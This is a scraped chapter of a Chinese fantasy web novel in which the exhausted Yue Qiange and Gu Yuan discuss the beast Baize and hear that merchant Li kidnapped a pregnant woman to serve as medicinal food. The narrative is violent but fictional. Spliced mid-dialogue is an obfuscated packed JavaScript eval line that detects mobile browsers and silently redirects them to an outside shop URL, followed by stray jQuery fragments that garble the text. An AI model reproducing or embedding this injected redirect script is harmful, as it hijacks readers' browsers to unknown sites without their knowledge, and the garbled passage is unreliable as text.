文趣网 > 其他小说 > 人皇陛下的贤君指南 > 118. 第一百一十八章:玉壶光转神隐村(二)^^……
    月千歌手中的鼗鼓消失,却不是他将鼗鼓收回,而是他现在的力量已经无法再使用它了。

    白泽那双碧绿色的眼睛瞅着月千歌,眼底尽是不解。它清楚月千歌现在的力量是无法将鸣凤村隐去,所以当月千歌召唤出那把鼗鼓时,它便知道月千歌要做什么了。

    那鼗鼓不属于神字法器,却是比神字法器拥有强的神力。

    月千歌自己的力量不够,他便使用鼗鼓的力量,可是他想要用鼗鼓的神力来隐秘一座村落,这必定要耗尽他这具分/身的灵力。

    灵力耗竭,月千歌想要恢复,至少需要休息三年的时间。而且即便是恢复了自身的灵力,他再次召唤鼗鼓,那鼗鼓于他不过是普通的法器罢了,可以用它使用一些法术,但是像“神隐”这样的法术,在他这具分/身下,是无法再次施展。

    身体里的灵力能恢复,可“神隐”除了耗尽他的灵力,还透支了他的精神力。精神力受到损害,伤害的是他的本体,恢复也是恢复他的本体,这身体不过只是念力的分/身,精神力根本无法恢复。

    见自身灵力耗尽,月千歌暗自松了口气。他的确被那份母爱触动,想要保护鸣凤村,却也不至于因此牺牲自己,他只是需要一件合理的事让他灵力消耗殆尽。

    每个人的灵力都不一样,神力也是。对于他来说,容颜易改,但是他的灵力与神力,还是会被故人认出来。

    他不想让阿鹓认出来自己。

    月千歌想要起身,刚一站起来,他身形不稳,整个身子踉跄着往前走了几步,险些要摔倒时,顾渊眼疾手快的将他扶住。

    顾渊很担心月千歌,扶着他坐在一处山石上,然后连忙伸手探在他的腕间。指腹按在月千歌脉搏处,察觉有些不对,顾渊又探入了一丝灵力进去。那丝灵力在进入月千歌的身体里后,如泥牛入海,消失无踪。

    月千歌的体内已经没有灵力流动!

    此时的月千歌就与寻常人一样。

    顾渊面色愕然,他看向月千歌。月千歌抿了抿唇,旋即从他露出一个安抚的微笑。

    白泽来到了月千歌的面前,它有些不赞同地说道:“你如今的身体根本无法使用这个法术,你这又是何必……”

    月千歌怕白泽口快说出什么事来,赶紧打断道:“我没事。”

    白泽瞪着他,没好气地说道:“我自然知道你不会有事。”

    就算月千歌灵力耗竭,精神力受损,意念消散,他也不会死。他的神识会归于本体,只是这样他的神识会精疲力竭,回归本体后也要修养很长一段时日。

    顾渊默不作声,他悄然地看了那只白猫一眼,而后故作不经意地问道:“先生好像与这只白猫很熟悉一样?”

    白泽一怔,抬起碧绿的眸子扫了顾渊一眼,心里暗骂了一声鬼心眼,便不说话了。

    月千歌倒是大方承认道:“故友,不过它变成这样,我一时也没认出来。”

    白泽撑了个懒腰,又打了个哈欠,尾巴勾着月千歌的小腿肚子,说道:“旧也叙了,你也没什么大碍,我就先走了。”

    “慢走。”月千歌含笑。

    顾渊撇嘴道:“好走不送。”

    白泽笑了一声,晃着尾巴走进了神隐之地。

    白泽离开后,顾渊扶着月千歌上了马。

    月千歌气色不好,身体还很虚弱,顾渊就想着两人同骑一匹马,也上了月千歌骑着的马背上。

    月千歌刚牵起缰绳,就感觉身后一暖,顾渊已经骑上了他的马。

    “你不用担心我。”月千歌略微有些不自在,他平常就不怎么骑马,与他人共骑一匹马,这还是第一次。

    而且顾渊离他太近了,近的呼吸都吹到了他的后脖颈处。

    “你上马都摇摇欲坠,怎么能不担心。”顾渊说着话,双臂将月千歌环在怀中,夺过了他手中的缰绳,又冲着他自己那匹马吹了一个口哨。

    这两匹马都是千里名驹,从小一起长大,也养成了形影不离的地步。顾渊和月千歌同乘一匹马,另一匹马也会自觉地跟着这匹马的身后。

    未时已过,顾渊他们必须要在天黑之前出了这环山。

    这里是南禺之山地界,没什么妖兽作祟,但是有时候坏的不只是妖兽,还有那些人。月千歌身体虚弱,顾渊不敢贸然在夜间赶路,只得在天黑之前出了环山,到镇上找一家客栈住一宿,等到天亮再出发。

    好在夜幕降临之前,顾渊他们来到最近的天水镇,找了一家稍微干净的客栈。

    镇上没有什么外来人,客栈也挺安静,大堂里有两桌人在吃酒,留在大堂的是一个掌柜和一个店小二。顾渊要了两间上房,店小二把两匹马牵到后院马槽,掌柜的带他们上了二楼。

    “客官要吃些什么吗?”掌柜的问道。

    顾渊随便点了一些家常菜,掌柜的一一记下,颔首道:“客官稍等,马上就送来。”

    顾渊没有回到自己的房间里,而是坐在月千歌那间屋子的圆桌前。

    不一会儿就有店小二把饭菜送了上来,还送了一壶茶。

    月千歌没什么食欲,简单吃了两口,顾渊是饿了,连着吃了两大碗。

    “对了,先生怎么和一只猫是朋友?”顾渊放下筷子,还是没忍住问了出来。

    月千歌坐在对面,给自己倒了一杯茶。他刚端起茶杯,听见顾渊说的话,略微想了想,也没有骗顾渊,直接道:“它是白泽。”

    “哦,白泽啊。”顾渊顺着重复了一句后才反应过来,声音也不由地高了起来,“神兽白泽?”

    月千歌喝口茶,点了点头。

    “既然是神兽,那……”

    “没用的。”月千歌知道顾渊是什么意思,无非想着是神兽白泽,那就一起“请”回建康。

    “先生这是何意?”

    “它的本体不在这,不过是一个分/身罢了。可能千年前他刚溜出来时,还有白泽的神力,但现在他连人身都维持不住,只得附身在狸奴身上。”月千歌解释道。

    顾渊还是有些不解,又问道:“它如果是白泽的话,先生之前又为何说它是守山人?”

    “他的确是守山人。在殿下进入南禺之山后,我也问过它为什么成为守山人,它说是偶然。”月千歌简单告诉了顾渊,白泽因为不忍,留下了真正守山人的一缕残魂,而真正的守山人为了南禺镇自我牺牲后,没有进入轮回。

    “没有进入轮回?为什么?”顾渊有些吃惊,一般只有魂飞魄散才不会进入轮回。

    “因为他没死啊。”月千歌抬眸望向窗外,天色早已落下,窗外一片漆黑。这扇窗户对着的是鸣凤村的方向,天水镇离鸣凤村有段距离,加之天色暗了,已经看不见环绕着鸣凤村那层层叠叠的群山了。

    顾渊瞬间明白了,守山人的确没有死。

    他就是守护着鸣凤村的那些群山。

    “过去了千年,守山人的力量消失了不少,而那些修士们的修为也越来越厉害,所以那保护着鸣凤村的群山瘴气渐渐开始拦不住那些修士们了。”月千歌说道,“后来的守山人不过是白泽所化,只不过这些年来,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710788|208415||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    它所剩的力量也不多了。”

    “难怪了。”顾渊感叹道。

    吃完了饭,顾渊没在月千歌的房间里久留,等店小二收了碗筷,又送来了热水,他就回到了自己的房间里。

    次日,两人都醒了大早,吃完早饭就退了房离开了天水镇。

    头两日顾渊还和月千歌同骑一匹马,后来月千歌说自己身体没问题了,顾渊才骑着自己的马。

    快到安县时,顾渊和月千歌都听当地的百姓在议论李盐商的事。他们表情愤怒,却又是无可奈何的叹气。

    那天月千歌给李盐商说,李银钏是因为鬼气入体,要治好李银钏需送她去城隍庙住两日。

    只是两日后,李银钏是醒了,可她身体很虚弱,怎么进补都无用,李盐商就想起了月千歌又说过“不怕作孽的话,可以为李小姐准备一道菜”。

    不见天日的羊羔。

    李银钏吃了几顿不见天日的羊羔,精神是好了些,但还是很弱气,而且这个时候怀孕的母羊并不多,李盐商便想了其他的注意。

    他在外出买羊时看见一个在卖豆腐的小孕妇。

    人,不就是两/脚/羊吗?

    李盐商最终没有买羊,而是找人把那个孕妇绑走了。

    ……

    没过几天,李银钏气色好了很多。

    李盐商很高兴,很快他就发现,这味“药膳”不能断。

    ……

    李盐商现在没有什么官职,可是所有人都知道,他将来必定会一人之下,万人之上。

    所以安县和安县附近的百姓们都是敢怒不敢言。

    月千歌听见这些话,对顾渊说道:“回去后就可以收网了。”

    顾渊点了点头。

    李盐商为顾渊起义的帮助不小,但他始终是一个市侩的商人,他眼里只有利益优先。更何况李盐商有明显的野心,这一年来,他看似放弃将女儿说与顾渊为妻,实则暗自将顾渊身边有接触的女子都找理由赶走。

    顾渊登基是大势所趋,李盐商固然没有再说姻缘之事,可是他绝对盯着国丈的身份。所以顾渊知道,他如果要坐稳那个位置,绝对不能让李盐商留在建康。

    顾渊和月千歌在安县隔壁的荣盛镇休息一晚,顺便尝尝荣盛镇特色的酱牛肉。

    两人在大堂里找一处靠窗的位置坐下,点了酱牛肉和一些小炒,又要了一壶十月白。

    菜还没上来,顾渊和月千歌闲着无事,就听着邻桌的闲聊。

    “听说了吗?帽子林闹鬼了。”

    “帽子林不就是乱葬岗吗,乱葬岗闹鬼多正常的事儿啊。”

    “话虽这么说,但是帽子林之前也没闹过鬼,这次啊,是因为那件事。”

    “你是说那位……”说话的人左右看看,见附近桌子的人都没有看这边。顾渊和月千歌虽然在听着他们说话,目光却落在面前的茶杯上,那说话的人也不知道顾渊和月千歌在偷听着。

    说话的人压低了声音,说道:“是那位李老爷吧?”

    “可不是。”另一人声音也小了,“说是那孕妇心有怨气,一直徘徊在帽子林。前天我表兄赶夜路回家,刚好路过帽子林,就看见那孕妇在那里走着,肚子都划开,啧啧,太惨了。”

    “哎,真是可怜,但又能这么办,人家李老爷可是太子的人。”那人摇了摇头,叹道,“太子得到了天启,是将来的君王,我听我家隔壁在安县县衙做事的老伯说,这李老爷日后就是太子的老岳丈。”

    月千歌放下茶杯,抬眸就见顾渊一脸阴沉。